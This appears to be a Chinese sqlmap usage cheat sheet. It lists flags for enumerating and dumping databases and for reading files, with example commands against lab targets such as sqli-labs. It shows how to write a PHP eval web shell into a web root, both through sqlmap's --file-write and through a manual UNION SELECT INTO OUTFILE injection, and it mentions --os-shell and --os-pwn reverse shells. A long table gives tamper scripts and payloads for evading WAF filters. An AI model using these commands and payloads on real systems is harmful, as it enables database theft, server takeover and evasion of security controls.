sqlmap使用手册
基础命令:参考
- -p 指定测试参数
- -b 获取banner
- --dbs 列举数据库
- --is-dba 是否是管理员权限
- --current-db 当前数据库
- --current-user 当前用户
- --tables 列举数据库的表名
- --count 检索所有条目数
- --columns 获取表的列名
- --dump 获取表中的数据,包含列
- --dump-all 转存DBMS数据库所有表项目
- --level 测试等级(1-5),默认为1
- -v 显示详细信息
输入“python sqlmap.py --version”检查sqlmap是否安装成功 输入“python sqlmap.py -hh”, “-hh”参数用于查看sqlmap的使用说明 输入“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数用于指定注入点的URL。 输入“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”用于列举数据库。 输入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”用于指定数据库名称,“--tables”参数用于列举表。 输入“python sqlmap.py -u "http:// 192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”用于指定表名称,“--columns”参数用于指定列出表中字段。 输入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”用于指定字段名称,参数“—dump”用于导出数据。 --os-shell --file-read "/user/www/flag.php
--level
level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5
--safe-url
有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。
--delay
有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时
--tamper
语法:--tamper ["脚本名称"] 当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中
--os-shell
--os-cmd=["命令"] 或 --os-shell=["命令"] 执行系统命令
-v ["x"]
使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:
|
等级 |
解释 |
|
0 |
只显示python错误以及严重信息 |
|
1 |
同时显示基本信息和警告信息 |
|
2 |
同时显示debug信息 |
|
3 |
同时显示注入的pyload |
|
4 |
同时显示HTTP请求 |
|
5 |
同时显示HTTP相应头 |
|
6 |
同时显示HTTP相应页面 |
--fresh-queries
//使用这个参数sqlmap将不会从缓存里面加载,从而能注入到数据库最新数据。
--purge-output
--purge-output
//清除之前的缓存日志
sqlmap.py -r
python2 sqlmap.py -r C:\Users\lenovo\Desktop\a.txt
//a.txt为burp抓包文件
命令补充
python sqlmap.py -u "http://114.67.175.224:15044/index.php" --data="id=1" --dbs 爆数据库 post注入 --data="id=1" --dbms Oracle/Mysql 指定数据库类型 python sqlmap.py -r "C:\1.txt" -p admin_name --dbs 指定变量注入点变量:在变量值(value)后面加* --level 3 [1-5] --risk 1 [1-3]
获取当前数据库的信息使用的命令是 python sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --current-db#获取当前数据库信息
第三步:开始暴库。
命令如下:
python sqlmap.py -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin" -- level 2 –dbs
使用参数-u后接网站的url用于明确使用sqlmap进行sql注入的网址。
使用参数--cookie,指定cookie内容是“uname=admin”。
参数--level共有五个等级,默认为1,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
--dbs是用来获取所有数据库名称的参数。
读取数据库--->读取表---->读取表的列---->获取内容
-D 指定数据库
-T 指定表
-C 指定列
--dbms=mysql oracle mssql 指定数据库
数据库读写shell
检验:less32 改mysql.ini配置(需要去增加一条配置) secure-file-priv= sqlmap读文件 sqlmap -u "http://192.168.43.43/sqli-labs-master/Less-1/?id=1" --file-read "C:\phpstudy_pro\WWW\2.php" sqlmap --os-shell 选择 4(PHP) 选择 2(custom location(s)) 网站根目录C:/phpstudy_pro/WWW/ sqlmap 写shell sqlmap -u "url" --file-write ~/Desktop/shellTT.php --file-dest C:/phpstudy_pro/WWW/shellxbw.php 手工写shell http://192.168.43.43/sqli-labs-master/Less-1/?id=1' union select 1,'<?php eval($_POST[a]);?>',3 INTO OUTFILE 'C:/phpstudy_pro/WWW/99.php'-- - 手工读文件 http://192.168.43.43/sqli-labs-master/Less-1/?id=-1' union select 1,load_file("C:/phpstudy_pro/WWW/2.php"),3-- - less-7 也是读文件
=======================================
官方命令
参照官方文档:https://github.com/sqlmapproject/sqlmap/wiki/Usage。
-b 获取banner -p 指定测试参数 -g 从google中获取URL , -g "inurl:aspx?id=" --gpage=GOOGLEPAGE 指定Google页码 --union-check 是否支持union 注入 --union-cols union 查询表记录 --union-test union 语句测试 --union-use 采用union 注入 --proxy 代理注入 ---threads 采用多线程 --user-agent 自定义user-agent --referer=REFERER HTTP referer头 --proxy=PROXY 使用代理 --string 指定关键词 --tor 创建tor的匿名网络 --predict-output 常见的查询输出预测 --keep-alive 使用持久HTTP(S)连接 --eval=EVALCODE 所使用HTTP参数污染 -a,-all 查询所有 --hostname 主机名 --is-dba 是否是管理员权限 --users 枚举所有用户 --passwords 枚举所有用户密码 --roles 枚举所有用户角色 --schema 枚举DBMS模式 --count 检索所有条目数 --dump 转存DBMS数据库表项目,需要制定字段名称(列名称) --dump-all 转存DBMS数据库所有表项目 --search 搜索列,表或数据库名称 --exclude-sysdbs 在枚举表时排除系统数据库 --sql-query=query 执行SQL语句 --file-read=RFILE 读取操作 --file-write=WFILE 写入操作 --file-dest=DFILE 绝对路径写入 --reg-read 阅读一个Windows注册表项值 --reg-add 增加一个Windows注册表项值数据 --reg-del 删除一个Windows注册表项值数据 --reg-key=REGKEY Windows注册表键 --reg-value=REGVAL Windows注册表键值 -- reg-data=REGDATA Windows注册表的键值项数据 --reg-type=REGTYPE Windows注册表键的值类型 --csv-del=CSVDEL 划定CSV输出中使用的字符 (default ",") --dump-format=DUMP 转存数据格式(CSV (default), HTML or SQLITE) --hex 使用十六进制数据检索功能 --output-dir=ODIR 自定义输出的目录路径 --update 更新SQLMap --purge-output 安全的删除所有内容输出目录 --check-waf 启发式检查WAF / IPS / IDS保护 --os-pwn 反弹shell --cookie=COOKIE 指定HTTP Cookie ,预登陆 --random-agent 使用随机选定的User-Agent头 --tamper=TAMPER 使用SQLMap插件 --level 测试等级(1-5),默认为1
SQLmap自带tamper脚本详解
使用方法
根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。
sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2comment,versionedmorekeywords.py" -v 3 --dbs
脚本分类说明
| 支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 |
| all | 1 | apostrophemask.py | 用utf8代替引号 |
("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' |
| 2 | base64encode.py | 用base64编码替换 |
("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' |
|
| 3 | multiplespaces.py | 围绕SQL关键字添加多个空格 |
('1 UNION SELECT foobar') '1 UNION SELECT foobar' |
|
| 4 | space2plus.py | 用+替换空格 |
('SELECT id FROM users') 'SELECT+id+FROM+users' |
|
| 5 | nonrecursivereplacement.py |
双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、”")) filters |
('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' |
|
| 6 | space2randomblank.py |
代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 |
('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' |
|
| 7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT |
('-1 UNION ALL SELECT') '-1 UNION SELECT' |
|
| 8 | securesphere.py | 追加特制的字符串 |
('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" |
|
| mssql | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) |
'1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' |
| 2 | equaltolike.py | like 代替等号 |
* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
|
| 3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 |
Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers |
|
| 4 | space2mssqlhash.py | 替换空格 |
('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' |
|
| 5 | between.py | 用between替换大于号(>) |
('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
| 6 | percentage.py | asp允许每个字符前面添加一个%号 |
* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
|
| 7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 |
('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' |
|
| 8 | charencode.py | url编码 |
* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
| 9 | randomcase.py | 随机大小写 |
* Input: INSERT * Output: InsERt |
|
| 10 | charunicodeencode.py | 字符串 unicode 编码 |
* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
| 11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
| mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等号 |
* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
| 2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 |
('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
|
| 3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 |
tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
|
| 4 | ifnull2ifisnull.py |
绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ |
('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' |
|
| 5 | space2mssqlhash.py | 替换空格 |
('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' |
|
| 6 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 |
('1 AND 2>1--') '1 /*!30874AND 2>1*/--' |
|
| 7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) |
Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users |
|
| 8 | between.py | 用between替换大于号(>) |
('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
| 9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 |
('1 AND 2>1--') '1 /*!00000AND 2>1*/--' |
|
| 10 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) |
('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' |
|
| 11 | bluecoat.py |
代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like |
('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1' |
|
| 12 | percentage.py | asp允许每个字符前面添加一个%号 |
* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
|
| 13 | charencode.py | url编码 |
* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
| 14 | randomcase.py | 随机大小写 |
* Input: INSERT * Output: InsERt |
|
| 15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# |
|
| 16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
| 17 | charunicodeencode.py | 字符串 unicode 编码 |
* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
| 18 | versionedmorekeywords.py | 注释绕过 |
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# |
|
| MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 关键字前加注释 |
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa |
| 20 | halfversionedmorekeywords.py |
当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 |
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" |
|
| MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
| Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 |
('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
| 2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 |
tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
|
| 3 | between.py | 用between替换大于号(>) |
('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
| 4 | charencode.py | url编码 |
* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
| 5 | randomcase.py | 随机大小写 |
* Input: INSERT * Output: InsERt |
|
| 6 | charunicodeencode.py | 字符串 unicode 编码 |
* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
| 7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
| PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 |
('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
| 2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 |
tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
|
| 3 | between.py | 用between替换大于号(>) |
('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
| 4 | percentage.py | asp允许每个字符前面添加一个%号 |
* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
|
| 5 | charencode.py | url编码 |
* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
| 6 | randomcase.py | 随机大小写 |
* Input: INSERT * Output: InsERt |
|
| 7 | charunicodeencode.py | 字符串 unicode 编码 |
* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
| 8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
| Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 |
('1 AND 1=1') '1 AND 1=1%00' |
| 其他 | chardoubleencode.py | 双url编码(不处理以编码的) |
* Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 |
|
| unmagicquotes.py | 宽字符绕过 GPC addslashes |
* Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 |
||
| randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |
其他命令参数